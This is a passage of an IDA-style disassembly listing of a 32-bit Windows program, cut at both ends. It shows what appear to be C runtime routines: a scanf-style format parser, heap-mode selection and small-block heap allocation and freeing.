loc_40FF07: ; CODE XREF: sub_40F5E2+843j
; sub_40F5E2+85Cj ...
cmp esi, 46h
jnz short loc_40FF10
and [ebp+var_1C], 0
loc_40FF10: ; CODE XREF: sub_40F5E2+928j
cmp [ebp+var_1C], 0
jz loc_40FFE8
cmp [ebp+var_E], 0
jnz short loc_40FF49
inc [ebp+var_34]
loc_40FF23: ; CODE XREF: sub_40F5E2+23Bj
cmp [ebp+var_30], 0
jz short loc_40FF39
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_40FF49
; ---------------------------------------------------------------------------
loc_40FF39: ; CODE XREF: sub_40F5E2+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_40FF46
mov [eax], edi
jmp short loc_40FF49
; ---------------------------------------------------------------------------
loc_40FF46: ; CODE XREF: sub_40F5E2+95Ej
mov [eax], di
loc_40FF49: ; CODE XREF: sub_40F5E2+241j
; sub_40F5E2+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_40FF96
; ---------------------------------------------------------------------------
loc_40FF54: ; CODE XREF: sub_40F5E2+93j
inc [ebp+var_4]
push edi
call sub_41003E
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_40FFC3
mov ecx, off_421DF8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_40FF96
inc [ebp+var_4]
push edi
call sub_41003E
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_40FFD1
dec [ebp+var_4]
loc_40FF96: ; CODE XREF: sub_40F5E2+970j
; sub_40F5E2+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_40FFAC
cmp byte ptr [esi], 25h
jnz short loc_40FFEE
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_40FFEE
mov esi, eax
loc_40FFAC: ; CODE XREF: sub_40F5E2+9B8j
mov al, [esi]
test al, al
jnz loc_40F60C
jmp short loc_40FFE8
; ---------------------------------------------------------------------------
loc_40FFB8: ; CODE XREF: sub_40F5E2+1F4j
; sub_40F5E2+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_40FFC8
; ---------------------------------------------------------------------------
loc_40FFC3: ; CODE XREF: sub_40F5E2+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_40FFC8: ; CODE XREF: sub_40F5E2+9DFj
call sub_410058
pop ecx
pop ecx
jmp short loc_40FFE8
; ---------------------------------------------------------------------------
loc_40FFD1: ; CODE XREF: sub_40F5E2+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_410058
dec [ebp+var_4]
push edi
push ebx
call sub_410058
add esp, 10h
loc_40FFE8: ; CODE XREF: sub_40F5E2+1Fj
; sub_40F5E2+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_40FFFF
loc_40FFEE: ; CODE XREF: sub_40F5E2+9BDj
; sub_40F5E2+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_410002
cmp [ebp+var_15], al
jnz short loc_410002
or eax, 0FFFFFFFFh
jmp short loc_410002
; ---------------------------------------------------------------------------
loc_40FFFF: ; CODE XREF: sub_40F5E2+A0Aj
mov eax, [ebp+var_34]
loc_410002: ; CODE XREF: sub_40F5E2+A11j
; sub_40F5E2+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40F5E2 endp
; =============== S U B R O U T I N E =======================================
sub_410007 proc near ; CODE XREF: sub_40F5E2+7A3p
; sub_40F5E2+8DCp
arg_0 = dword ptr 4
cmp dword_422004, 1
push esi
jle short loc_410021
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_412B49
pop ecx
pop ecx
jmp short loc_410030
; ---------------------------------------------------------------------------
loc_410021: ; CODE XREF: sub_410007+8j
mov esi, [esp+4+arg_0]
mov eax, off_421DF8
mov al, [eax+esi*2]
and eax, 4
loc_410030: ; CODE XREF: sub_410007+18j
test eax, eax
jnz short loc_41003A
and esi, 0FFFFFFDFh
sub esi, 7
loc_41003A: ; CODE XREF: sub_410007+2Bj
mov eax, esi
pop esi
retn
sub_410007 endp
; =============== S U B R O U T I N E =======================================
sub_41003E proc near ; CODE XREF: sub_40F5E2+1E1p
; sub_40F5E2+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_410050
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_410050: ; CODE XREF: sub_41003E+7j
push edx
loc_410051: ; DATA XREF: .nsp0:0041ABDDo
; .nsp0:0041B40Do
call sub_412DA9
pop ecx
retn
sub_41003E endp
; =============== S U B R O U T I N E =======================================
sub_410058 proc near ; CODE XREF: sub_40F5E2+6Bp
; sub_40F5E2+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41006E
push [esp+arg_4]
push [esp+4+arg_0]
call sub_414C1F
pop ecx
pop ecx
locret_41006E: ; CODE XREF: sub_410058+5j
retn
sub_410058 endp
; =============== S U B R O U T I N E =======================================
sub_41006F proc near ; CODE XREF: sub_40F5E2+63p
; sub_40F5E2+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_410075: ; CODE XREF: sub_41006F+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41003E
mov edi, eax
push edi
call sub_414BCC
pop ecx
test eax, eax
pop ecx
jnz short loc_410075
mov eax, edi
pop edi
pop esi
retn
sub_41006F endp
; =============== S U B R O U T I N E =======================================
sub_410093 proc near ; CODE XREF: sub_40CCE1+1Fp
; sub_40DB08+126p ...
arg_0 = dword ptr 4
mov eax, dword_481E18
test eax, eax
jz short loc_4100AB
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_4100AB
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4100AB: ; CODE XREF: sub_410093+7j
; sub_410093+12j
xor eax, eax
retn
sub_410093 endp
; =============== S U B R O U T I N E =======================================
sub_4100AE proc near ; CODE XREF: sub_4100DB+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_418094 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_4100D9
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_4100D9
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_4100D9: ; CODE XREF: sub_4100AE+15j
; sub_4100AE+1Cj
pop esi
retn
sub_4100AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100DB proc near ; CODE XREF: sub_410223+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_40CCA0
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_4180E0 ; GetVersionExA
test eax, eax
jz short loc_41011E
cmp [ebp+var_88], 2
jnz short loc_41011E
cmp [ebp+var_94], 5
jb short loc_41011E
push 1
pop eax
jmp loc_410220
; ---------------------------------------------------------------------------
loc_41011E: ; CODE XREF: sub_4100DB+27j
; sub_4100DB+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_418134 ; GetEnvironmentVariableA
test eax, eax
jz loc_41020D
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_410160
loc_41014D: ; CODE XREF: sub_4100DB+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41015B
cmp al, 7Ah
jg short loc_41015B
sub al, 20h
mov [ecx], al
loc_41015B: ; CODE XREF: sub_4100DB+76j
; sub_4100DB+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41014D
loc_410160: ; CODE XREF: sub_4100DB+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_40EAC0
add esp, 0Ch
test eax, eax
jnz short loc_410182
lea eax, [ebp+var_122C]
jmp short loc_4101CB
; ---------------------------------------------------------------------------
loc_410182: ; CODE XREF: sub_4100DB+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_41804C ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_4101B6
loc_4101A3: ; CODE XREF: sub_4100DB+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_4101B1
cmp al, 7Ah
jg short loc_4101B1
sub al, 20h
mov [ecx], al
loc_4101B1: ; CODE XREF: sub_4100DB+CCj
; sub_4100DB+D0j
inc ecx
cmp [ecx], bl
jnz short loc_4101A3
loc_4101B6: ; CODE XREF: sub_4100DB+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_40E4B0
pop ecx
pop ecx
loc_4101CB: ; CODE XREF: sub_4100DB+A5j
cmp eax, ebx
jz short loc_41020D
push 2Ch
push eax
call sub_40E610
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41020D
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_4101F2
loc_4101E4: ; CODE XREF: sub_4100DB+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_4101ED
mov [ecx], bl
jmp short loc_4101EE
; ---------------------------------------------------------------------------
loc_4101ED: ; CODE XREF: sub_4100DB+10Cj
inc ecx
loc_4101EE: ; CODE XREF: sub_4100DB+110j
cmp [ecx], bl
jnz short loc_4101E4
loc_4101F2: ; CODE XREF: sub_4100DB+107j
push 0Ah
push ebx
push eax
call sub_40E0AC
add esp, 0Ch
cmp eax, 2
jz short loc_410220
cmp eax, 3
jz short loc_410220
cmp eax, 1
jz short loc_410220
loc_41020D: ; CODE XREF: sub_4100DB+5Cj
; sub_4100DB+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_4100AE
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_410220: ; CODE XREF: sub_4100DB+3Ej
; sub_4100DB+126j ...
pop ebx
leave
retn
sub_4100DB endp
; =============== S U B R O U T I N E =======================================
sub_410223 proc near ; CODE XREF: sub_40EB84+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_41813C ; HeapCreate
test eax, eax
mov dword_483424, eax
jz short loc_410279
call sub_4100DB
cmp eax, 3
mov dword_483428, eax
jnz short loc_41025F
push 3F8h
call sub_410280
pop ecx
jmp short loc_410269
; ---------------------------------------------------------------------------
loc_41025F: ; CODE XREF: sub_410223+2Dj
cmp eax, 2
jnz short loc_41027C
call sub_410DC7
loc_410269: ; CODE XREF: sub_410223+3Aj
test eax, eax
jnz short loc_41027C
push dword_483424
call dword_418138 ; HeapDestroy
loc_410279: ; CODE XREF: sub_410223+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41027C: ; CODE XREF: sub_410223+3Fj
; sub_410223+48j
push 1
pop eax
retn
sub_410223 endp
; =============== S U B R O U T I N E =======================================
sub_410280 proc near ; CODE XREF: sub_410223+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_483424
call dword_418110 ; RtlAllocateHeap
test eax, eax
mov dword_48341C, eax
jnz short loc_41029D
retn
; ---------------------------------------------------------------------------
loc_41029D: ; CODE XREF: sub_410280+1Aj
mov ecx, [esp+arg_0]
and dword_483414, 0
and dword_483418, 0
push 1
mov dword_483410, eax
mov dword_483420, ecx
mov dword_483408, 10h
pop eax
retn
sub_410280 endp
; =============== S U B R O U T I N E =======================================
sub_4102C8 proc near ; CODE XREF: sub_40CD81+17p
; sub_40DB08+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_483418
lea ecx, [eax+eax*4]
mov eax, dword_48341C
lea ecx, [eax+ecx*4]
loc_4102D8: ; CODE XREF: sub_4102C8+26j
cmp eax, ecx
jnb short loc_4102F0
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_4102F2
add eax, 14h
jmp short loc_4102D8
; ---------------------------------------------------------------------------
loc_4102F0: ; CODE XREF: sub_4102C8+12j
xor eax, eax
locret_4102F2: ; CODE XREF: sub_4102C8+21j
retn
sub_4102C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4102F3 proc near ; CODE XREF: sub_40CD81+23p
; sub_40DB08+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_410617
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_4103C9
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_410357
push 3Fh
pop edx
loc_410357: ; CODE XREF: sub_4102F3+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4103AB
cmp edx, 20h
jnb short loc_410382
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_4103A3
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4103A3
; ---------------------------------------------------------------------------
loc_410382: ; CODE XREF: sub_4102F3+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_4103A3
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4103A3: ; CODE XREF: sub_4102F3+86j
; sub_4102F3+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_4103AE
; ---------------------------------------------------------------------------
loc_4103AB: ; CODE XREF: sub_4102F3+6Aj
mov ecx, [ebp+var_4]
loc_4103AE: ; CODE XREF: sub_4102F3+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_4103C9: ; CODE XREF: sub_4102F3+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_4103D7
push 3Fh
pop edx
loc_4103D7: ; CODE XREF: sub_4102F3+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41047A
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_4103FC
mov ebx, esi
loc_4103FC: ; CODE XREF: sub_4102F3+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41040E
mov edx, esi
loc_41040E: ; CODE XREF: sub_4102F3+117j
cmp ebx, edx
jz short loc_410475
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41045D
cmp ebx, 20h
jnb short loc_41043E
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41045D
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41045D
; ---------------------------------------------------------------------------
loc_41043E: ; CODE XREF: sub_4102F3+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41045D
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41045D: ; CODE XREF: sub_4102F3+128j
; sub_4102F3+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_410475: ; CODE XREF: sub_4102F3+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41047D
; ---------------------------------------------------------------------------
loc_41047A: ; CODE XREF: sub_4102F3+EDj
mov ebx, [ebp+arg_0]
loc_41047D: ; CODE XREF: sub_4102F3+185j
cmp [ebp+var_C], 0
jnz short loc_41048B
cmp ebx, edx
jz loc_41050C
loc_41048B: ; CODE XREF: sub_4102F3+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41050C
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_4104E3
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4104D2
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_4104D2: ; CODE XREF: sub_4102F3+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41050C
; ---------------------------------------------------------------------------
loc_4104E3: ; CODE XREF: sub_4102F3+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4104F9
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_4104F9: ; CODE XREF: sub_4102F3+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41050C: ; CODE XREF: sub_4102F3+192j
; sub_4102F3+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_410617
mov eax, dword_483414
test eax, eax
jz loc_410609
mov ecx, dword_48340C
mov esi, dword_418140
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_48340C
mov eax, dword_483414
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_483414
mov ecx, dword_48340C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_483414
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_483414
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41059A
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_483414
loc_41059A: ; CODE XREF: sub_4102F3+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_410609
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_483414
push dword ptr [eax+10h]
push 0
push dword_483424
call dword_418114 ; RtlFreeHeap
mov eax, dword_483418
mov edx, dword_48341C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_483414
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_40D460
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_483418
cmp eax, dword_483414
jbe short loc_4105FF
sub [ebp+arg_0], 14h
loc_4105FF: ; CODE XREF: sub_4102F3+306j
mov eax, dword_48341C
mov dword_483410, eax
loc_410609: ; CODE XREF: sub_4102F3+234j
; sub_4102F3+2ABj
mov eax, [ebp+arg_0]
mov dword_48340C, edi
mov dword_483414, eax
loc_410617: ; CODE XREF: sub_4102F3+38j
; sub_4102F3+227j
pop edi
pop esi
pop ebx
leave
retn
sub_4102F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41061C proc near ; CODE XREF: sub_40CD0D+18p
; sub_40DB08+77p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_483418
mov edx, dword_48341C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41065C
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41066C
; ---------------------------------------------------------------------------
loc_41065C: ; CODE XREF: sub_41061C+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41066C: ; CODE XREF: sub_41061C+3Ej
mov eax, dword_483410
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_410693
loc_41067A: ; CODE XREF: sub_41061C+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_410693
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41067A
loc_410693: ; CODE XREF: sub_41061C+5Cj
; sub_41061C+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_410711
mov ebx, edx
loc_41069A: ; CODE XREF: sub_41061C+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4106B6
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_4106B4
add ebx, 14h
jmp short loc_41069A
; ---------------------------------------------------------------------------
loc_4106B4: ; CODE XREF: sub_41061C+91j
cmp ebx, eax
loc_4106B6: ; CODE XREF: sub_41061C+83j
jnz short loc_410711
loc_4106B8: ; CODE XREF: sub_41061C+ADj
cmp ebx, [ebp+var_4]
jnb short loc_4106CE
cmp dword ptr [ebx+8], 0
jnz short loc_4106CB
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_4106B8
; ---------------------------------------------------------------------------
loc_4106CB: ; CODE XREF: sub_41061C+A5j
cmp ebx, [ebp+var_4]
loc_4106CE: ; CODE XREF: sub_41061C+9Fj
jnz short loc_4106F6
mov ebx, edx
loc_4106D2: ; CODE XREF: sub_41061C+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_4106E6
cmp dword ptr [ebx+8], 0
jnz short loc_4106E4
add ebx, 14h
jmp short loc_4106D2
; ---------------------------------------------------------------------------
loc_4106E4: ; CODE XREF: sub_41061C+C1j
cmp ebx, eax
loc_4106E6: ; CODE XREF: sub_41061C+BBj
jnz short loc_4106F6
call sub_410925
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41070A
loc_4106F6: ; CODE XREF: sub_41061C:loc_4106CEj
; sub_41061C:loc_4106E6j
push ebx
call sub_4109D6
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_410711
loc_41070A: ; CODE XREF: sub_41061C+D8j
xor eax, eax
jmp loc_410920
; ---------------------------------------------------------------------------
loc_410711: ; CODE XREF: sub_41061C+7Aj
; sub_41061C:loc_4106B6j ...
mov dword_483410, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_410738
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41076F
loc_410738: ; CODE XREF: sub_41061C+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41076C
loc_410755: ; CODE XREF: sub_41061C+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_410755
loc_41076C: ; CODE XREF: sub_41061C+137j
mov edx, [ebp+var_4]
loc_41076F: ; CODE XREF: sub_41061C+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_410798
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_410798: ; CODE XREF: sub_41061C+16Dj
; sub_41061C+183j
test ecx, ecx
jl short loc_4107A1
shl ecx, 1
inc edi
jmp short loc_410798
; ---------------------------------------------------------------------------
loc_4107A1: ; CODE XREF: sub_41061C+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_4107BE
push 3Fh
pop esi
loc_4107BE: ; CODE XREF: sub_41061C+19Dj
cmp esi, edi
jz loc_4108D3
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41082F
cmp edi, 20h
jge short loc_4107FE
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41082C
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41082F
; ---------------------------------------------------------------------------
loc_4107FE: ; CODE XREF: sub_41061C+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41082C
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41082F
; ---------------------------------------------------------------------------
loc_41082C: ; CODE XREF: sub_41061C+1D6j
; sub_41061C+203j
mov ebx, [ebp+arg_0]
loc_41082F: ; CODE XREF: sub_41061C+1B0j
; sub_41061C+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_4108DF
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4108D0
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_4108A1
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41088F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41088F: ; CODE XREF: sub_41061C+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_4108D0
; ---------------------------------------------------------------------------
loc_4108A1: ; CODE XREF: sub_41061C+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4108BA
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_4108BA: ; CODE XREF: sub_41061C+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_4108D0: ; CODE XREF: sub_41061C+24Ej
; sub_41061C+283j
mov ecx, [ebp+var_8]
loc_4108D3: ; CODE XREF: sub_41061C+1A4j
test ecx, ecx
jz short loc_4108E2
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_4108E2
; ---------------------------------------------------------------------------
loc_4108DF: ; CODE XREF: sub_41061C+229j
mov ecx, [ebp+var_8]
loc_4108E2: ; CODE XREF: sub_41061C+2B9j
; sub_41061C+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
